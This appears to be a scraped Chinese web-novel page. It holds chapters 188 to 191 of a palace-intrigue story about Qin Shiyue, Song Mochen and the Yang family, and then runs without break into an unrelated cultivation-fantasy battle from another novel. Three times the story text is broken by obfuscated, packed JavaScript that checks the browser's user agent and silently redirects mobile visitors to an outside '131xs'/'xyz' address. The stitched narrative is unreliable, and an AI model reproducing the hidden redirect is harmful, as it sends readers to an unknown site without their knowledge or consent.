他脸色阴沉,思绪翻飞,想起杨家为了拉下秦时月做的那些努力,咬紧后牙槽,冷声道:“辰王殿下说的好听,谁不知道明月县主是您的未来王妃,大理寺的范大人又是你举荐的,难免……” 他话说一半,但在场的所有人都明白他的意思,朝堂上顿时议论纷纷。 长乐侯虽然恨极了秦时月,但也知道此事关系重大,他若不说话,长乐侯府以后就要由得人攀咬了。 他给自己打打气,大声辩驳,“杨太师,你这分明是故意刁难!” 第188章 杨太师作妖? “我长乐侯府向来奉公守法,时月更是知书达理,怎会做出此等事来?你,你这是蓄意陷害!如今还想攀蔑辰王,简直,简直不可理喻!” 长乐侯话音才落,跟宋墨辰交好的大臣们立刻纷纷上奏,为宋墨辰说话。 杨太师被气的满脸通红,双手微微颤抖。 皇帝看着剑拔**张的架势,心里想笑,面上却透出了一丝不悦,“够了!这里是大殿,成何体统!” “杨太师,辰王所言没什么问题,但朕体谅你丧子之痛,就不追究你无端质疑的罪责了。你既然不放心,可以说说你的想法。” 杨太师等的就是皇上这句话。 他冷冷的扫了宋墨辰和长乐侯一眼,恭敬道:“陛下,刑部尚书张大人,一向公正廉明,此事交由他彻查,臣才放心!” 刑部尚书张大人乃是杨太师的学生,前些年还是杨太师的举荐,他才能坐在如今的位置上。 只是他们这层关系,很少有人知道,所以他一点也不担心。 皇上眸光微沉,落在杨太师身上的视线多了一丝冷冽。 他最恨结党营私,可杨太师似乎,忘记了…… 不过,目前整个朝堂除了杨太师和刑部能牵制住宋墨辰,似乎也没有其他势力可以和宋墨辰抗衡了。 想到这,皇上点了头,“既如此,张爱卿,杨晟的案子便由你督办吧,记住,不可冤枉一个好人,也不能放过一个坏人,务必给杨太师一个说法!” 张大人出列,恭敬领命,“微臣遵旨!陛下放心,臣定会公正调查,还陛下和杨太师一个真相!” 杨太师强忍笑意,看向长乐侯和宋墨辰的目光里已然多了一丝得意。 散朝后,宋墨辰调转马头去了天香楼,侍书跟在他身边多年,自然知道他心中的想法,一出宫便和他往相反的方向去了。 不多时,秦时月和小荷就在侍书的带路下来到了天香楼。 “得了,你们在门口候着吧。”叮嘱完,秦时月推门而入。 此时,桌面上是一桌她喜欢的饭菜,宋墨辰则单手支着头,半倚在椅子上假寐。 看到这一幕,秦时月心头一暖,刻意放轻了脚步。 但宋墨辰常年驻守边关,警惕性是刻在骨子里的,她才推门,他就醒了,她一落座,他就睁开了眼。 “来了。”宋墨辰看着她,目光温柔。 秦时月怔愣一下,随即轻轻一笑,“嗯,知道你肯定有话跟我说,路上不敢耽搁。” 他刚下朝,侍书就到家里请她了,想来是朝堂上出了什么事。 大概率,是杨家的事。 宋墨辰坐直身子,神色变得严肃起来,“杨太师在朝堂上提议让刑部尚书张大人彻查杨晟的案子,父皇,同意了。” 秦时月轻笑一声,“看来,杨太师是铁了心要置我于死地,只是他敢这么做,莫不是心里有把握?” “张大人,是他的学生,他们之间的关系极为隐秘,我也是前段时间才得知的。” 在秦时月向他坦诚,杨晟是她所杀后,他便着手让人调查了杨家极其枝丫,而张大人,正是其中之一。 “哦?这是……主动给咱们送把柄了?” 宋墨辰眼神一凛,“此话怎讲?” 秦时月**是真,若真调查起来,结局怎样,谁都无法预料。 秦时月夹了一筷子菜放进嘴里,细细咀嚼后说道:“陛下最讨厌结党营私,杨晟先前为太子所用,我不信杨太师一点都不知道,他现在启用张大人,表面上是他掌握了主动权,可他们的关系经不起查,更何况,杨家的罪证可都是真的。” 宋墨辰眸光一亮,嘴角扬起一道骇人的弧度,“时月说的对,咱们可以将计就计。把杨太师结党营私的证据摆在明面上,父皇必定会大怒。到时候,杨家自顾不暇,说不定会因此深陷泥潭。” “不错,只是此事需要一个合适的时机,况且,不能由你将这些证据呈到陛下眼前。”秦时月美目流转,思索片刻后道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882528|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她猜不透皇上的心思,但他对宋墨辰的忌惮之心太重,若是由宋墨辰将证据呈上去,只怕会弄巧成拙。 “我懂,你放心,这个时机我来把握。只是,你这边也要小心,杨太师必定不会善罢甘休,一计不成,说不定会暗中对你下手。”他眉头一拧,眼底闪过一丝担忧。 “放心吧,我身边有影夜他们贴身保护,府里又全是咱们的人,我不会有事的。倒是你,杨太师从我这找不到突破口,说不定会对你不利。”秦时月伸出手,轻轻握住了宋墨辰的手。 宋墨辰眸中含笑,反握住她的手,凑了上去,“放心,一个权臣,还奈我不得。” 他最喜欢看她关心自己的样子。 “对了,我今日去了长公主府一趟,长公主跟我透露了一个消息。” 秦时月想起白日的事,皱起了眉头。 …… 另一边,杨太师回到太师府后,杨雪莹和太师夫人立刻迎了上来。 “父亲,今日朝堂上怎么样?皇上有没有发落秦时月?” 杨太师拍了一下桌子冷哼一声,“哼,秦时月有辰王护着,皇上没有当堂发落,不过皇上已经答应让张大人调查,以为父和张大人的关系,秦时月,逃不过个死!” “太好了!这次一定要让她死无葬身之地!”杨雪莹眼神复杂,有志在必得的得意,有嗜血的狠厉。 “可秦时月背后有辰王和皇后撑腰,他们可不是什么好对付的角色。”太师夫人微微皱眉,神色担忧。 “母亲~**偿命,有张大人在,秦时月只有死路一条,即便辰王和皇后想护也护不住。秦时月一死,我就是未来的辰王妃。”杨雪莹满脸期待,似乎已经看到自己风光嫁入辰王府的那天。 “但愿如此吧……你这段时间收敛些,不要到处惹事,以免招来不必要的麻烦。”太师夫人不放心,叮嘱道。 “女儿知道。”杨雪莹故作乖巧地点点头,只是骨碌碌不断转动的眼珠子已经泄露了她的想法。 第189章 京中混入人贩子? 天香楼。 秦时月眉头紧锁,将白日长公主跟她说的事告诉了宋墨辰。 “长公主说,最近京城里来了一个商队,那个商队有些奇怪,他们白天会在东、西两个市场收购或售卖一些普通的货物,但晚上却行踪成谜。她知道陛下这段时间心情不佳,所以没向陛下反应,而是派公主府的人去调查了。” “晚上行踪成谜?”宋墨辰眉头一拧,想到什么,突然说道:“时月可曾听闻这段时间里京中多了几起人口失踪案?” “你是说……”秦时月面色一凛,眼里闪过一丝冷意,“这个商队与人口贩卖有关?” 宋墨辰神色凝重地点点头,“不能排除这种可能。不论到底是不是,这个商队,都要查。” 白天正常,晚上不正常,里边必有猫腻。 “对了,姑母可说其他的了?”宋墨辰问到。 既然长公主对此有怀疑,也派人查了,想来该有一些线索。 谁料秦时月摇摇头,面上多了一丝无奈,“长公主说就是因为什么都查不到,所以才知会我一声,让我自己注意些,别着了那些人的道。” 宋墨辰点点头,“看来,得尽快弄清楚这个商队的底细。这样,我一会派影风等人分别去东、西两市盯着,有消息尽快来报。” “嗯,影风的能力我信得过,而且我也能……” “不行。”不等秦时月说完,宋墨辰直接打断了她的话,“那队商队尚不知是怎么回事,你绝不能亲自涉险。” “放心吧,我有分寸。”秦时月微微一笑,心里划过一丝暖意。 她身手不错,区区小贼还奈何不了她。 “不过,我担心的是,若这个商队真与人口贩卖有关,背后的势力肯定不简单,如今杨家步步紧逼,我担心……” “没什么可担心的。”宋墨辰的眼里闪过一丝狠厉,“若真有人在京中做这等伤天害理之事,定不能轻饶!” “你说的对。”秦时月点点头。 天子脚下,由不得妖魔鬼怪横行! 时间紧迫,宋墨辰唤来影风,低声吩咐了几句,影风领命离开。 他给秦时月夹了一块肘花,不放心的道:“时月,你这段时间尽量不要外出,实在要出门,务必多带些人手。” “我真的没事,还有,你别总把我当成手无缚鸡之力的弱女子,我可没那么娇弱。”秦时月俏皮地眨眨眼,故意在他面前亮了亮袖口里的银针。 银针在暖黄色的烛光下闪烁着森森寒光。 回想起两人在一起时她所表现出来的身手,宋墨辰轻笑一下,轻轻握住了她的手。 “我知道你没有想象中娇弱,可我不想你涉险。” 秦时月小脸一红,羞涩的点了点头。 …… 京城郊外的一处坟场下,错综复杂的地下室里,几个身穿锦服的男人们正在向一个带着面具的男子汇报。 这些男人,正是近日才进入京城的商队成员。 “主子,这两日风声有些紧,今天哈察那边差点失手……”一个一身锦服的男人低着头,恭敬又后怕的说道。 “放心,长公主的人不足为惧。”带面具的男子摩挲着酒杯边沿,嘴角微微勾起,“今天,抓了几个货物?” “回主子,两个。有一人在挣扎时引来了官兵,被她逃了……”另一个锦服男子低着头,眼神闪烁,里边带着一丝恐惧。 主子的怒火,没有人敢轻易尝试。 “哈察,你跟着我这么多年了,失手会是什么样的惩罚,你该知道。” “是,属下这就去领罚!”哈察心头一惊,恭敬的回道,说完便退出了屋子。 面具男面不改色,冷漠的看向其他人,“既然这几日风声紧,那就暂停行动,先把手上的货出了。至于长公主那边,她敢坏我的好事,她就要承担我的怒火。” “阿骨打,长公主那边,就交给你了,记住,一个不留!” “是,主子,属下一定不让主子失望!”阿骨打面容冷峻狰狞,一看就是个狠角色。 …… 第二日一早,秦时月刚起床,芳夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882529|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的丫鬟就急匆匆的找上了门。 秦时月觉得有趣,便让小荷将人带进来。 这前日才跟她谈过,今日便急着邀功了? 丫鬟进了屋子,赶忙福身行礼,脸上带着讨好的笑容,“见过大小姐,夫人让奴婢来给县主报个信儿。” 秦时月坐在梳妆台前,慢条斯理地整理着发间的珠翠,头也不抬地问道:“什么信儿?说吧。” “回大小姐,是关于府里新收的那些家丁下人的。” 秦时月没吱声,丫鬟吞口唾沫,继续道:“有几个是卓家塞进来的,还有两个丫头,是侯爷的好友送来的……” 她越说声音越小,眼珠子更是心虚的转个不停。 这些事芳夫人其实一直都知道,只是她觉得自己羽翼渐丰,所以没跟秦时月说,身为芳夫人院里的丫鬟自然清楚主子的心思。 秦时月轻笑一声,眼神却冷了下来。 塞了两个丫头?怕是想趁芳姨娘有孕在身不能伺候她那个好父亲,所以塞了两个暖床丫头吧。 不过,卓家往侯府塞人……倒是出乎了她的意料。 卓老爷子和卓静已死,她以为她那个好舅舅卓天成能安分些,毕竟,如今的卓家早已不能同日而语,根本经不起折腾。 可现在看来,他还是没死心,亦或者是,想为卓老爷子和卓静复仇? 想到这,秦时月眉头一挑,放下了手中的钗环,“你回去吧,告诉芳夫人,这次的事我就不计较了,再有下次……让她自己掂量着。” 丫鬟心里恐惧,紧张的应下,转身就走。 她前脚离开,秦时月后脚叫来了小荷,小荷一进屋,她就直接问起了秦怀瑾最近怎么样。 小荷不明白自家小姐怎么会突然问起大少爷,但还是恭敬回道:“回小姐,大少爷被关在柴房,无人问津。” “无人问津?”秦时月不轻不重的敲击着桌面,思绪不自觉的飘远。 “对呀,侯爷吩咐过,不许人关照大少爷,听后院的阿荣说,大少爷过的很是凄惨……” 第190章 下套 “哦?”秦时月冷哼一声,突然起身往门口走去,“我怎么觉得,咱们的大少爷如今过的,应该不错呢?” 卓家无缘无故送人过来必有所图,而能让卓家有所图谋的,除了有血缘关系的秦怀瑾,应该没其他了。 小荷听的一头雾水,但还是赶忙跟上了她的脚步,“小姐,您这是要去哪?” “去柴房看看,会会我的那位好哥哥。”秦时月一边往外走,一边说道。 不多时,两人便来到了柴房。 秦时月刚走到门口,就听到里面传来一阵轻微的动静。 她给小荷投去一个眼神,小荷立刻推开了柴房门。 柴房里光线昏暗,弥漫着一股潮湿发霉的腐烂味道。 小荷眉头微皱,忍不住捂住了口鼻,反观秦时月,除了面色有些白,眼神有些复杂外,似乎并没有受到其他影响。 而此时,头发凌乱的“秦怀瑾”正坐在一堆稻草上,邋遢黏腻的破旧衣衫紧紧贴在身上。 听到动静,他一脸惊慌的抬眸看了过来。 这一眼,小荷便呆愣在了原地,“这,这是……” “呵,偷梁换柱,鱼目混珠。”秦时月冷笑一声,眼里浮现出一丝兴味。 想不到啊想不到,秦怀瑾被困在这里,卓家竟然还大费周章的把人换了出去。 就是不知道,这件事,她那个好父亲知不知道! “小姐,怎么办?”小荷皱着眉头,脑子有些转不过来。 “怎么办呀?让你家小姐好好想想,不如咱们这样……” 秦时月低语几声,小荷当即瞪大了双眼,“小姐,当真要这样吗?要是让侯爷知道……” “怕什么?你以为,如今的长乐侯府,还是侯爷说了算吗?”秦时月轻笑一声。 小荷眼前一亮,立刻点头,“好的小姐,我知道怎么做了!” 说完,她转过身,匆匆离开。 秦时月半眯着眼站在柴房门口,眼里透着一丝算计。 卓天成,我本想着放你和卓家一马的,既然你不想好过,那我就帮你一把,卓家,也不用再存在了! 两日后,卓家。 卓天成看着不请自来的秦时月,面色有些难看,“呵,今日是什么风?竟然把明月县主吹来了!” 秦时月在心里冷笑一声,朝着他福了福身子,“舅舅说这样的话不是在扎心吗?时月无论身居何位,也始终是舅舅的外甥女。” 她这一出,倒是让卓天成看不透了。 他冷哼一声坐下,道:“你今日来有事吗?直说吧。” 若不是他先前打听过,卓静在监狱时她曾多有照顾,他绝不会给她好脸色。 “舅舅。”秦时月不请自坐,然后双眼一红,道:“母亲过世有一段时日了,虽然她罪有应得,但到底是我的母亲,我想为她做一场法事,也好让她来世投个好胎……” “算你有心了,不过,这种事跟你父亲商量就行,来我卓府,你怕不是找错了地方。”卓天成冷哼一声。 秦时月擦了擦眼角并不存在的泪水,继续说道:“舅舅,您也知道我父亲,他抛妻另娶,还把大哥关了起来,对母亲的事根本不可能上心。母亲生前与您感情深厚,您就看在往日的情分上,帮帮我吧。” 卓天成面色稍有缓和,可心中依旧存疑,他打量着秦时月,说道:“你说的好听,先前你大哥被关起来的时候怎么不见你来求我?” 秦时月早有准备,她咬了咬嘴唇,带着几分哭腔,“当初母亲触怒龙颜,侯府岌岌可危,兄长在外却做出了糊涂事,父亲一怒之下命人将他关了起来,并勒令我们不许探视,我一个闺阁女子,怎敢忤逆父亲?” 卓天成虽然知道她在说谎,但她言辞恳切,又是为了卓静。 犹豫片刻后,他终于点了头,“好吧,我答应你。不过,做法事可不是小事,需要准备诸多事宜,你可有详细的安排和计划?” 秦时月面上一喜,忙道:“多谢舅舅成全,我已经请灵霄观的道长算过了,三日后便是良辰吉日,到时我会请京城中最有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今日卓府门庭若市,到处都是进进出出的京中权贵,府内更是一片忙碌景象,所有人都在为法事做着最后的准备。 第191章 后院起火 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 